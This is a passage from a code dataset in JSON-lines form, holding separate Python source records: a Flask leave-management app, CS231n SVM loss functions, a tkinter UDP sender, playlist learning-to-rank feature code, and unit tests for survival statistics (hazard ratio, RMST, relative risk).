methods=['GET'])\n@login_required\ndef leave_request():\n    types = requests.get(base_url()+'/api/leave_types').json()\n    return render_template('leave_request.html', types=types)\n    \n@main.route('/leave_request', methods=['POST'])\n@login_required\ndef leave_request_post():\n    leave_type = request.form.get('types')\n    approval_status = 1\n    start_date = datetime.fromisoformat(request.form.get('start_date'))\n    end_date = datetime.fromisoformat(request.form.get('end_date'))\n    comment = request.form.get('comment')\n    url = base_url()+'/api/leave_requests' \n    headers={\"Content-Type\":\"application/json\"}\n    r = {\"employee\": {\"id\": user_emp_id()},\"leave_type\": {\"id\": leave_type},\"approval_status\": {\"id\": approval_status},\"start_date\": start_date.strftime('%Y-%m-%d'),\"end_date\": end_date.strftime('%Y-%m-%d'),\"comment\": comment}\n    response = requests.post(url, data=json.dumps(r), headers=headers)\n    print(response.text)\n    data = requests.get('{}/api/employee/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    return render_template('leave_request_history.html', requests=data)\n    \n@main.route('/leave_request_history', methods=['GET'])\n@login_required\ndef leave_request_history():\n    manager = is_employee_manager()\n    if manager['user_is_manager']:\n        data = requests.get('{}/api/manager/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    else:\n        data = requests.get('{}/api/employee/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    return render_template('leave_request_history.html', requests=data)\n    \n@main.route('/process_requests', methods=['GET'])\n@login_required\ndef process_requests():\n    data = requests.get('{}/api/manager/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    pending = []\n    for req in data:\n        if req['approval_status']['id'] == 1:\n            pending.append(req)\n    return render_template('process.html', requests=pending)\n\n@main.route('/approve', methods=['POST'])\n@login_required\ndef approve_post():\n    requestId = request.form.get('decision')\n    url = '{}/api/leave_request/{}'.format(base_url(), requestId)\n    lr = requests.get(url).json()\n    lr['approval_status']['id'] = 2\n    headers={\"Content-Type\":\"application/json\"}\n    response = requests.put(url, data=json.dumps(lr), headers=headers)\n    data = requests.get('{}/api/manager/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    return render_template('leave_request_history.html', requests=data)\n\n@main.route('/deny', methods=['POST'])\n@login_required\ndef deny_post():\n    requestId = request.form.get('decision')\n    url = '{}/api/leave_request/{}'.format(base_url(), requestId)\n    lr = requests.get(url).json()\n    lr['approval_status']['id'] = 3\n    headers={\"Content-Type\":\"application/json\"}\n    response = requests.put(url, data=json.dumps(lr), headers=headers)\n    data = requests.get('{}/api/manager/{}/leave_requests'.format(base_url(), user_emp_id())).json()\n    return render_template('leave_request_history.html', requests=data)\n\n@main.route('/employees')\n@login_required\ndef view_employees():\n    data = requests.get(base_url()+'/api/employees').json() \n    return render_template('employees.html', employees=data)\n\n@main.route('/add_employee', methods=['GET'])\n@login_required\ndef add_employee():\n    data = requests.get(base_url()+'/api/managers').json()\n    return render_template('add_employee.html', action=\"Add\", managers=data)\n\n@main.route('/add_employee', methods=['POST'])\n@login_required\ndef add_employee_post():\n    first_name = request.form.get('first_name')\n    last_name = request.form.get('last_name')\n    start_date = datetime.fromisoformat(request.form.get('start_date'))\n    is_admin = True if (request.form.get('is_admin')).lower() == 'true' else False \n    is_manager = True if (request.form.get('is_manager')).lower() == 'true' else False \n    manager = request.form.get('manager')\n    email = '{}.{}@acme.com'.format(first_name.lower(), last_name.lower())\n\n    user = User.query.filter_by(email=email).first() \n\n    if user: \n        flash('This employee/user already exists.')\n        return redirect('add_employee')\n    \n    new_user = User(email=email, password=generate_password_hash('test', method='sha256'))\n    # add the new user to the database\n    db.session.add(new_user)\n    db.session.commit()\n\n    user=User.query.filter_by(email=email).first()\n    print(user.user_id)\n\n    url = base_url()+'/api/employees'\n    new_emp = {\"first_name\": first_name,\"last_name\": last_name,\"is_admin\": is_admin, \"is_manager\": is_manager, \"manager\": { \"id\": manager}, \"start_date\": start_date.strftime('%Y-%m-%d'), \"user_id\": user.user_id}\n    headers={\"Content-Type\":\"application/json\"}\n    emp = requests.post(url, data=json.dumps(new_emp), headers=headers)\n    data = requests.get(base_url()+'/api/employees').json() \n    return render_template('employees.html', action=\"Add\", formaction=\"/add_employee\", employees=data)\n\n@main.route('/delete_employee', methods=['POST'])\n@login_required\ndef delete_employee():\n    requestId = request.form.get('delete')\n    print(requestId)\n    url = base_url()+'/api/employee/'+requestId\n    emp = requests.delete(url)\n    data = requests.get('{}/api/employees'.format(base_url(), user_emp_id())).json()\n    return render_template('employees.html', employees=data)\n\n@main.route('/edit_employee', methods=['POST'])\n@login_required\ndef edit_employee():\n    requestId = request.form.get('edit')\n    url = base_url()+'/api/employee/'+requestId\n    emp = requests.get(url).json()\n    return render_template('add_employee.html', action=\"Edit\", formaction=\"/edit_save\", managers=requests.get(base_url()+'/api/managers').json(), employee=emp)\n\n@main.route('/edit_save', methods=['POST'])\n@login_required\ndef edit_save():\n    empId = request.form.get('id')\n    first_name =  request.form.get('first_name')\n    last_name = request.form.get('last_name')\n    start_date = datetime.fromisoformat(request.form.get('start_date'))\n    is_admin = True if (request.form.get('is_admin')).lower() == 'true' else False \n    is_manager = True if (request.form.get('is_manager')).lower() == 'true' else False \n    manager = request.form.get('manager')\n    update_emp = {\"first_name\": first_name,\"last_name\": last_name, \"start_date\": start_date.strftime('%Y-%m-%d'), \"manager\": { \"id\": manager }, \"is_admin\": is_admin, \"is_manager\": is_manager }\n    url = '{}/api/employee/{}'.format(base_url(), empId)\n    headers={\"Content-Type\":\"application/json\"}\n    emp = requests.put(url, data=json.dumps(update_emp), headers=headers)\n    data = requests.get(base_url()+'/api/employees').json() \n    return render_template('employees.html', employees=data)","repo_name":"tracymazelin/LeaveManagement","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"15066881632","text":"import numpy as np\nfrom random import shuffle\n\ndef svm_loss_naive(W, X, y, reg):\n  \"\"\"\n  Structured SVM loss function, naive implementation (with loops).\n\n  Inputs have dimension D, there are C classes, and we operate on minibatches\n  of N examples.\n\n  Inputs:\n  - W: A numpy array of shape (D, C) containing weights.\n  - X: A numpy array of shape (N, D) containing a minibatch of data.\n  - y: A numpy array of shape (N,) containing training labels; y[i] = c means\n    that X[i] has label c, where 0 <= c < C.\n  - reg: (float) regularization strength\n\n  Returns a tuple of:\n  - loss as single float\n  - gradient with respect to weights W; an array of same shape as W\n  \"\"\"\n  dW = np.zeros(W.shape) # initialize the gradient as zero\n\n  # compute the loss and the gradient\n  num_classes = W.shape[1]\n  num_train = X.shape[0]\n  loss = 0.0\n  for i in xrange(num_train):\n    scores = X[i].dot(W)\n    correct_class_score = scores[y[i]]\n    for j in xrange(num_classes):\n      if j == y[i]:\n        continue\n      margin = scores[j] - correct_class_score + 1 # note delta = 1\n      if margin > 0:\n        loss += margin\n        dW[:, y[i]] -= X[i]\n        dW[:, j] += X[i]\n\n  # Right now the loss is a sum over all training examples, but we want it\n  # to be an average instead so we divide by num_train.\n  loss /= num_train\n\n  # Add regularization to the loss.\n  loss += 0.5 * reg * np.sum(W*W)\n  dW += reg * W\n  dW /= num_train\n\n  return loss, dW\n\n\ndef svm_loss_vectorized(W, X, y, reg):\n  \"\"\"\n  Structured SVM loss function, vectorized implementation.\n\n  Inputs and outputs are the same as svm_loss_naive.\n  \"\"\"\n  delta = 1\n  N, D = X.shape\n  _, C = W.shape\n\n  XW = X.dot(W)\n\n  Z = XW[np.arange(0, N), y]\n  A = XW - Z[:, np.newaxis] + delta\n\n  margin = np.where(A > 0, A, 0)\n  # set margin = 0 for correct classes\n  margin[np.arange(0, N), y] = 0\n  loss = np.sum(margin)/N\n  loss += 0.5 * reg * np.sum(W * W)\n\n  margin = np.where(margin > 0, 1, 0)\n\n  F = np.zeros((N, C))\n  # j!= y_i\n  F[margin > 0] = 1\n  # j = y_i\n  F[np.arange(0, N), y] = -1 * np.sum(margin, axis=1)\n  dW = (X.T).dot(F)\n\n  dW += reg * W\n\n  dW /= N\n\n  return loss, dW\n","repo_name":"matk86/cs231n","sub_path":"assignment1/cs231n/classifiers/linear_svm.py","file_name":"linear_svm.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"26869218899","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport time\nfrom tkinter import *\nimport socket\n\nroot = Tk()\nroot.title(\"UDP 工具\")\nroot.geometry(\"400x300\")\nroot.resizable(width=False, height=False)\n\nip_label = Label(root, text=\"输入 IP 地址：\")\nip_label.pack()\n\nip = StringVar()\nip_entry = Entry(root, textvariable=ip)\nip_entry.pack()\n\nport_label = Label(root, text=\"输入端口：\")\nport_label.pack()\n\nport = StringVar()\nport_entry = Entry(root, textvariable=port)\nport_entry.pack()\n\nmsg_label = Label(root, text=\"输入需要发送消息：\")\nmsg_label.pack()\n\nmsg = StringVar()\nmsg_entry = Entry(root, textvariable=msg)\nmsg_entry.pack()\n\n#\n# f = Frame(root, height=100, width=80)\n# f.pack_propagate(0)\n# f.pack()\n\nbtn1 = Button(root, text=\"发送\", command=lambda: callback(1), compound=CENTER)\nbtn1.pack()\n\nmsg_label2 = Label(root, text=\"输入需要发送消息：\")\nmsg_label2.pack()\nmsg2 = StringVar()\nmsg_entry2 = Entry(root, textvariable=msg2)\nmsg_entry2.pack()\nbtn2 = Button(root, text=\"发送\", command=lambda: callback(2), compound=CENTER)\nbtn2.pack()\n\n\ndef callback(index):\n    address = (ip.get(), int(port.get()))\n    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    send_msg = msg.get() if index == 1 else msg2.get()\n    message = bytes(send_msg, encoding=\"utf8\")\n    client.sendto(message, address)\n    client.close()\n    print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n    print(ip.get(), port.get(), send_msg)\n\n\nip_entry.focus()\n\nroot.mainloop()\n","repo_name":"KevinLoveGitHub/python-utils","sub_path":"recUdp.py","file_name":"recUdp.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72269444880","text":"import warnings\nimport numpy as np\nimport pandas as pd\nimport scipy.sparse as spr\nfrom tqdm import tqdm\n\n\nclass PlaylistFeature:\n    def __init__(self, df):\n        self.df = df\n\n        self.playlistid_to_idx = self._build_data_to_idx([self.df.id.tolist()], offset=0)\n        self.idx_to_playlistid = {v: k for k, v in self.playlistid_to_idx.items()}\n\n        self.songid_to_idx = self._build_data_to_idx(self.df.songs.tolist(), offset=0)\n        self.idx_to_songid = {v: k for k, v in self.songid_to_idx.items()}\n        self.num_song = len(self.songid_to_idx)\n\n        self.tag_to_idx = self._build_data_to_idx(self.df.tags.tolist(), offset=len(self.songid_to_idx))\n        self.idx_to_tag = {v: k for k, v in self.tag_to_idx.items()}\n        self.num_tag = len(self.tag_to_idx)\n\n        _playlist_item_lists = self._make_playlist_item_lists(self.df, self.songid_to_idx, self.tag_to_idx)\n        self.num_playlist = len(_playlist_item_lists)\n        _shape = (self.num_playlist, self.num_song+self.num_tag)\n        self.csr_matrix = self._lil_to_csr_matrix(_playlist_item_lists, _shape)\n\n        self.co_occurrence_matrix = self.csr_matrix.T * self.csr_matrix\n        self.co_occurrence_matrix.setdiag(0)\n        self.occurrence = np.array(self.co_occurrence_matrix.sum(axis=0, dtype=np.int32).tolist()[0], dtype=np.int32)\n\n    def _build_data_to_idx(self, lil, offset=0):\n        data_to_idx = {}\n        for list_ in lil:\n            for item_id in list_:\n                if item_id not in data_to_idx:\n                    data_to_idx[item_id] = len(data_to_idx) + offset\n        return data_to_idx\n\n    def _make_playlist_item_lists(self, df, songid_to_idx, tag_to_idx):\n        \"\"\"\n        p1 | song1, song2, ..., tag1, tag2 ...\n        p2 | song2, song5, ..., tag3, tag9 ...\n        p3 | ...\n        ...\n        \"\"\"\n        matrix = []\n        all_playlists_songs = df.songs.tolist()\n        all_playlists_tags = df.tags.tolist()\n        for playlist_songs, playlist_tags in zip(all_playlists_songs, all_playlists_tags):\n            row = [songid_to_idx[sid] for sid in playlist_songs if sid in songid_to_idx]\n            row += [tag_to_idx[tag] for tag in playlist_tags if tag in tag_to_idx]\n            matrix.append(row)\n        return matrix\n\n    def _lil_to_csr_matrix(self, playlist_item_lists, shape):\n        row = []\n        col = []\n        dat = []\n        for idx, li in enumerate(playlist_item_lists):\n            for item in li:\n                row.append(idx)\n                col.append(item)\n                dat.append(1)\n        return spr.csr_matrix((dat, (row, col)), dtype=np.int8, shape=shape)\n\n    def get_co_occurrence_feature(self, item_ret, item_seed, rec_to_idx, seed_to_idx, progress_description=''):\n        co_occurrence_mean_feature = []\n        co_occurrence_max_feature = []\n        co_occurrence_median_feature = []\n        for item_rec_list, seed in tqdm(zip(item_ret, item_seed), total=len(item_ret), desc=progress_description):\n            rec_ids = np.array([rec_to_idx[item_id] for item_id, score in item_rec_list])\n            seed = [seed_to_idx[item_id] for item_id in seed if item_id in seed_to_idx]\n\n            with warnings.catch_warnings():\n                warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n\n                filtered_co_occurrence = self.co_occurrence_matrix[rec_ids[:, np.newaxis], seed].toarray()\n                filtered_seed = self.occurrence[seed]\n\n                norm_filtered_co_occurrence = np.nan_to_num(filtered_co_occurrence / filtered_seed)\n                co_occurrence_mean_feature += np.nan_to_num(norm_filtered_co_occurrence.mean(axis=1)).tolist()\n                co_occurrence_max_feature += np.nan_to_num(norm_filtered_co_occurrence.max(axis=1, initial=0)).tolist()\n                co_occurrence_median_feature += np.nan_to_num(np.median(norm_filtered_co_occurrence, axis=1)).tolist()\n\n        np.nan_to_num(co_occurrence_mean_feature, copy=False)\n        np.nan_to_num(co_occurrence_max_feature, copy=False)\n        np.nan_to_num(co_occurrence_median_feature, copy=False)\n        return co_occurrence_mean_feature, co_occurrence_max_feature, co_occurrence_median_feature\n\n    def get_naive_idf(self, item_ret, rec_to_idx, progress_description=''):\n        csc_matrix = self.csr_matrix.tocsc()\n        features = []\n        num_doc = len(item_ret)\n        for item_rec_list in tqdm(item_ret, desc=progress_description):\n            rec_ids = np.array([rec_to_idx[item_id] for item_id, score in item_rec_list])\n            num_contain = np.array(csc_matrix[:, rec_ids].sum(axis=0).tolist()[0])\n            idf = np.log(num_doc / num_contain).tolist()\n            features += idf\n        return np.array(features) / np.linalg.norm(features)\n\n    def get_count(self, item_ret, item_seed_count_list, rec_to_idx, progress_description=''):\n        item_freq = []\n        seed_count = []\n        for item_rec_list, item_seed_count in tqdm(zip(item_ret, item_seed_count_list), total=len(item_ret), desc=progress_description):\n            rec_ids = np.array([rec_to_idx[item_id] for item_id, score in item_rec_list])\n\n            item_freq += self.occurrence[rec_ids].tolist()\n            seed_count += [item_seed_count for _ in item_rec_list]\n\n        item_freq_norm = np.array(item_freq) / np.linalg.norm(item_freq)\n        seed_count_norm = np.array(seed_count) / np.linalg.norm(seed_count)\n        return item_freq_norm, seed_count_norm\n\n\nclass LTRDataset:\n    def __init__(self,\n                 pids,\n                 item_ret,\n                 item_gt=None):\n        self.group = [len(item_rec) for item_rec in item_ret]\n\n        rank_list = [{'<default>': 0} for _ in range(len(item_ret))]\n        if item_gt is not None:\n            rank_list = [{item: rank+1 for rank, item in enumerate(item_list)} for item_list in item_gt]\n        myseries = [\n            {\n                \"pid\": _id,\n                \"item\": item_id,\n                \"target\": 100-item_to_rank.get(item_id, 100),\n                \"rec_rank\": rec_rank+1,\n                \"score\": float(score)\n            }\n            for idx, (_id, item_rec, item_to_rank) in enumerate(zip(pids, item_ret, rank_list))\n            for rec_rank, (item_id, score) in enumerate(item_rec)\n        ]\n\n        self.df = pd.DataFrame(myseries)\n        self.df['pid'] = self.df['pid'].astype('int32')\n        self.df['target'] = self.df['target'].astype('int8')\n        self.df['rec_rank'] = self.df['rec_rank'].astype('int16')\n\n\nclass SongLTRDataset(LTRDataset):\n    def __init__(self,\n                 pids,\n                 item_ret,\n                 pf,\n                 input_df,\n                 item_gt=None):\n        super().__init__(pids, item_ret, item_gt)\n\n        self.df['co_ss_mean'], self.df['co_ss_max'], self.df['co_ss_median'] \\\n            = pf.get_co_occurrence_feature(item_ret=item_ret,\n                                           item_seed=input_df.songs.tolist(),\n                                           rec_to_idx=pf.songid_to_idx,\n                                           seed_to_idx=pf.songid_to_idx,\n                                           progress_description=\"Extract p(song|song) Feature\")\n\n        self.df['co_st_mean'], self.df['co_st_max'], self.df['co_st_median'] \\\n            = pf.get_co_occurrence_feature(item_ret=item_ret,\n                                           item_seed=input_df.tags.tolist(),\n                                           rec_to_idx=pf.songid_to_idx,\n                                           seed_to_idx=pf.tag_to_idx,\n                                           progress_description=\"Extract p(song|tag) Feature\")\n\n        self.df['idf'] = pf.get_naive_idf(item_ret=item_ret,\n                                          rec_to_idx=pf.songid_to_idx,\n                                          progress_description=\"Extract IDF Feature\")\n\n        self.df['freq'], self.df['seed_count'] \\\n            = pf.get_count(item_ret=item_ret,\n                           item_seed_count_list=input_df.songs.apply(lambda x: len(x)),\n                           rec_to_idx=pf.songid_to_idx,\n                           progress_description=\"Extract Freq Feature\")\n\n\nclass TagLTRDataset(LTRDataset):\n    def __init__(self,\n                 pids,\n                 item_ret,\n                 pf,\n                 input_df,\n                 item_gt=None):\n        super().__init__(pids, item_ret, item_gt)\n\n        self.df['co_ts_mean'], self.df['co_ts_max'], self.df['co_ts_median'] \\\n            = pf.get_co_occurrence_feature(item_ret=item_ret,\n                                           item_seed=input_df.songs.tolist(),\n                                           rec_to_idx=pf.tag_to_idx,\n                                           seed_to_idx=pf.songid_to_idx,\n                                           progress_description=\"Extract p(tag|song) Feature\")\n\n        self.df['idf'] = pf.get_naive_idf(item_ret=item_ret,\n                                          rec_to_idx=pf.tag_to_idx,\n                                          progress_description=\"Extract IDF Feature\")\n\n        self.df['freq'], self.df['seed_count'] \\\n            = pf.get_count(item_ret=item_ret,\n                           item_seed_count_list=input_df.tags.apply(lambda x: len(x)),\n                           rec_to_idx=pf.tag_to_idx,\n                           progress_description=\"Extract Freq Feature\")\n","repo_name":"HaebinShin/melon-playlist-continuation","sub_path":"src/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":9375,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"6162723485","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Chris Hayward\n\"\"\"\n\n# test trace stats\n\nimport unittest\nfrom unittest.mock import patch\n\nimport numpy as np\nimport pandas as pd\nimport pdb\n\nfrom pipeline_hes.params import params\nfrom pipeline_hes import trace_stats\n\nimport rpy2.robjects as robjects\nfrom rpy2.robjects import pandas2ri\nfrom rpy2.robjects.conversion import localconverter\n\nimport os\nimport subprocess\n\n\nclass Test_HR(unittest.TestCase):\n    def setUp(self):\n        self.covariates = ['as.factor(IS_PATIENT)','as.factor(SEX)','INIT_AGE','IMD04','MATCHED_DATE']\n        \n        \n    def conv_to_r_obj(self,df):\n        with localconverter(robjects.default_converter + pandas2ri.converter):\n            r_from_pd_df = robjects.conversion.py2rpy(df)\n        return r_from_pd_df\n    \n    \n    def test_first(self):\n        n = 1000\n        df = pd.DataFrame.from_dict({'IS_PATIENT':np.tile([0,1], n),\n                                     'MATCHED_DATE':np.tile(np.repeat(np.datetime64('2005-01-01'),2),n)})\n        df['IS_PATIENT'] = df['IS_PATIENT'].astype(np.uint8)\n\n        # ensures a starting point is found for the Cox model\n        #offset = (pd.Series(df.index).map(lambda x: int(x / 4)) / df.shape[0])\n        offset = np.arange(df.shape[0]) / df.shape[0]\n        \n        np.random.default_rng(0).shuffle(offset)        \n        df['PROCODE'] = offset > .5\n        df['PROCODE'] = df['PROCODE'].astype(np.uint8)\n        np.random.default_rng(0).shuffle(offset)        \n        df['Mortality'] = offset > .5        \n        df['Mortality'] = df['Mortality'].astype(np.uint8)\n        np.random.default_rng(0).shuffle(offset)        \n        df['SEX'] = offset > .5        \n        df['SEX'] = df['SEX'].astype(np.uint8) + 1\n        np.random.default_rng(0).shuffle(offset)        \n        df['DUR'] = offset*100\n        np.random.default_rng(0).shuffle(offset)\n        df['IMD04'] = offset*5\n        np.random.default_rng(0).shuffle(offset)\n        df['INIT_AGE'] = offset*20\n        np.random.default_rng(0).shuffle(offset)\n        df['MATCHED_DATE'] = (df['MATCHED_DATE'] + (pd.to_timedelta(offset*1400,'D')))\n        df['MATCHED_DATE'] = df['MATCHED_DATE'].dt.year - 2000\n\n\n        r_from_pd_df = self.conv_to_r_obj(df.copy())\n        \n        # bonferroni\n        n_traces = 10        \n        df_out = trace_stats.callR_cox(r_from_pd_df,\n                                       self.covariates)\n        \n        tmp_csv_in = os.path.join(params.DIR_TMP,'tmp_HR_test.csv')\n        tmp_csv_out = os.path.join(params.DIR_TMP,'tmp_HR_test_out.csv')\n        tmp_r_script = os.path.join(params.DIR_TMP,'test_trace_stats_HR.R')\n        \n        # cross-check with pure R script\n        df.to_csv(tmp_csv_in)\n        with open(tmp_r_script,'w') as f:\n            f.write(r\"\"\"\nsuppressPackageStartupMessages(library(coxme))\nlibrary(coxme)\nx<-read.csv('{}')\nres<-coxme(Surv(DUR, Mortality) ~ as.factor(IS_PATIENT) + as.factor(SEX) + INIT_AGE + IMD04 + MATCHED_DATE + (1|PROCODE), data=x)\nwrite.csv(res$coefficients, '{}')\"\"\".format(tmp_csv_in,tmp_csv_out).replace('\\\\','\\\\\\\\'))\n        \n        # clear output\n        with open(tmp_csv_out, 'w') as f:\n            f.write('')\n        retcode = subprocess.call(['Rscript', tmp_r_script])\n        r_out = pd.read_csv(tmp_csv_out)\n        r_IS_PATIENT_HR = np.exp(r_out['x']).iloc[0]\n        \n        # check raw R with rpy2 call\n        self.assertEqual(np.round(df_out['HR'],7), np.round(r_IS_PATIENT_HR,7))\n    \n    \nclass Test_RMST(unittest.TestCase):\n    \n    def setUp(self):\n        self.hazard_column = 'IS_PATIENT'\n        \n        \n    def conv_to_r_obj(self,df):\n        with localconverter(robjects.default_converter + pandas2ri.converter):\n            r_from_pd_df = robjects.conversion.py2rpy(df)\n        return r_from_pd_df\n    \n    \n    def test_rmst_1(self):\n        # half alive right at the end\n        df = pd.DataFrame.from_dict({'Mortality':[0,0,1,1,0,0,1,1],\n                                     'DUR':[1,1,1,1,1,1,1,1],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':1.0,\n                            'RMST1':1.0,\n                            'tau':1.0,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n        \n\n    def test_rmst_reduce_dur_part(self):\n        # half alive for the final 10% of DUR\n        df = pd.DataFrame.from_dict({'Mortality':[0,0,1,1,0,0,1,1],\n                                     'DUR':[1,1,.9,.9,1,1,1,1],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        \n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':.95,\n                            'RMST1':1,\n                            'tau':1,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n\n\n    def test_rmst_reduce_dur_almost_all_die(self):\n        # one alive for the final 10%\n        df = pd.DataFrame.from_dict({'Mortality':[1,1,1,0,0,0,1,1],\n                                     'DUR':[.9,.9,.9,1,1,1,1,1],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        \n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':.925,\n                            'RMST1':1,\n                            'tau':1,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n\n\n    def test_rmst_reduce_dur_all_die(self):\n        df = pd.DataFrame.from_dict({'Mortality':[1,1,1,1,0,0,1,1],\n                                     'DUR':[.9,.9,.9,.9,1,1,1,1],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        \n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':.9,\n                            'RMST1':1,\n                            'tau':1,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n\n\n    def test_rmst_reduce_tau(self):\n        # half die halfway through\n        # reduce tau\n        df = pd.DataFrame.from_dict({'Mortality':[0,0,1,1,0,0,1,1],\n                                     'DUR':[.9,.9,.45,.45,.9,.9,.9,.9],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        \n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':.9*.75,\n                            'RMST1':.9,\n                            'tau':.9,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n\n\n    def test_rmst_reduce_tau2(self):\n        # half die halfway through\n        # reduce tau\n        df = pd.DataFrame.from_dict({'Mortality':[0,0,1,1,0,0,1,1],\n                                     'DUR':[.9,.9,.25,.25,.5,.5,.5,.25],\n                                     'IS_PATIENT':[0,0,0,0,1,1,1,1]})    \n        r_from_pd_df = self.conv_to_r_obj(df)\n        \n        df_out = trace_stats.callR_restricted_mean_surv_time(r_from_pd_df)\n        df_exp = pd.Series({'RMST0':.5*.75,\n                            'RMST1':.5*.875,\n                            'tau':.5,})        \n        pd.testing.assert_series_equal(df_out[['RMST0','RMST1','tau']], df_exp)\n\n\n\nclass Test_enough_variants_have_resulted_in_death(unittest.TestCase):\n    \n    @patch('pipeline_hes.params.params.ONLY_ONE_SEX','na')\n    def test_enough_variants_have_resulted_in_death_FALSE(self):\n        \n        variants_part = pd.DataFrame()\n        variants_part['variant'] = np.repeat('AAA,BBB',1000)\n        variants_part['Mortality'] = np.repeat(0,1000)\n        # need at least 20*5 deaths\n        variants_part.loc[:98,'Mortality'] = 1\n        self.assertFalse(trace_stats.enough_variants_have_resulted_in_death(variants_part))\n\n    @patch('pipeline_hes.params.params.ONLY_ONE_SEX','na')\n    def test_enough_variants_have_resulted_in_death_TRUE(self):\n        \n        variants_part = pd.DataFrame()\n        variants_part['variant'] = np.repeat('AAA,BBB',1000)\n        variants_part['Mortality'] = np.repeat(0,1000)\n        # need at least 20*5 deaths\n        variants_part.loc[:99,'Mortality'] = 1\n        self.assertTrue(trace_stats.enough_variants_have_resulted_in_death(variants_part))\n\n\n\nclass Test_relative_risk(unittest.TestCase):\n    \n\n    def test_relative_risk_same(self):\n        # AMI (events)\n        eP = 100\n        # AMI (all events)\n        nP = 100\n        # CONTROL (events)\n        eC = 100\n        # CONTROL (all events)\n        nC = 100\n        \n        alpha = 0.05\n        # For Bonferroni correction\n        numTraces = 10\n        \n        (rr_out, rr_out_ci, rr_out_ci_corrected) = \\\n            trace_stats.relative_risk(eP,nP,eC,nC,alpha,numTraces)\n        self.assertEqual(rr_out,1/1)\n        self.assertEqual(rr_out_ci[0],1)\n        self.assertEqual(rr_out_ci[1],1)\n        self.assertEqual(rr_out_ci_corrected[0],1)\n        self.assertEqual(rr_out_ci_corrected[1],1)\n        \n        \n    def test_relative_risk_same_boost_ctl(self):\n        # AMI (events)\n        eP = 100\n        # AMI (all events)\n        nP = 100\n        # CONTROL (events)\n        eC = 200\n        # CONTROL (all events)\n        nC = 200\n        \n        alpha = 0.05\n        # For Bonferroni correction\n        numTraces = 10\n        \n        (rr_out, rr_out_ci, rr_out_ci_corrected) = \\\n            trace_stats.relative_risk(eP,nP,eC,nC,alpha,numTraces)\n        self.assertEqual(rr_out,1/1)\n        self.assertEqual(rr_out_ci[0],1)\n        self.assertEqual(rr_out_ci[1],1)\n        self.assertEqual(rr_out_ci_corrected[0],1)\n        self.assertEqual(rr_out_ci_corrected[1],1)\n        \n        \n    def test_relative_risk_all_controls(self):\n        # AMI (events)\n        eP = 50\n        # AMI (all events)\n        nP = 100\n        # CONTROL (events)\n        eC = 200\n        # CONTROL (all events)\n        nC = 200\n        \n        alpha = 0.05\n        # For Bonferroni correction\n        numTraces = 10\n        \n        (rr_out, rr_out_ci, rr_out_ci_corrected) = \\\n            trace_stats.relative_risk(eP,nP,eC,nC,alpha,numTraces)\n        self.assertEqual(rr_out,.5/1)\n        self.assertTrue(rr_out_ci[0]<rr_out)\n        self.assertTrue(rr_out_ci[1]>rr_out)\n        self.assertTrue(rr_out_ci_corrected[0]<rr_out_ci[0])\n        self.assertTrue(rr_out_ci_corrected[1]>rr_out_ci[1])\n        \n    \n    \n    def test_relative_risk_some(self):\n        # AMI (events)\n        eP = 50\n        # AMI (all events)\n        nP = 100\n        # CONTROL (events)\n        eC = 75\n        # CONTROL (all events)\n        nC = 100\n        \n        alpha = 0.05\n        # For Bonferroni correction\n        numTraces = 10\n        \n        (rr_out, rr_out_ci, rr_out_ci_corrected) = \\\n            trace_stats.relative_risk(eP,nP,eC,nC,alpha,numTraces)\n        self.assertEqual(rr_out,.5/.75)\n        self.assertTrue(rr_out_ci[0]<rr_out)\n        self.assertTrue(rr_out_ci[1]>rr_out)\n        self.assertTrue(rr_out_ci_corrected[0]<rr_out_ci[0])\n        self.assertTrue(rr_out_ci_corrected[1]>rr_out_ci[1])\n        \n    \n    \n    # externally verified RR and CI\n    def test_relative_risk_exact_CI(self):\n        # AMI (events)\n        eP = 100\n        # AMI (all events)\n        nP = 140\n        # CONTROL (events)\n        eC = 20\n        # CONTROL (all events)\n        nC = 100\n        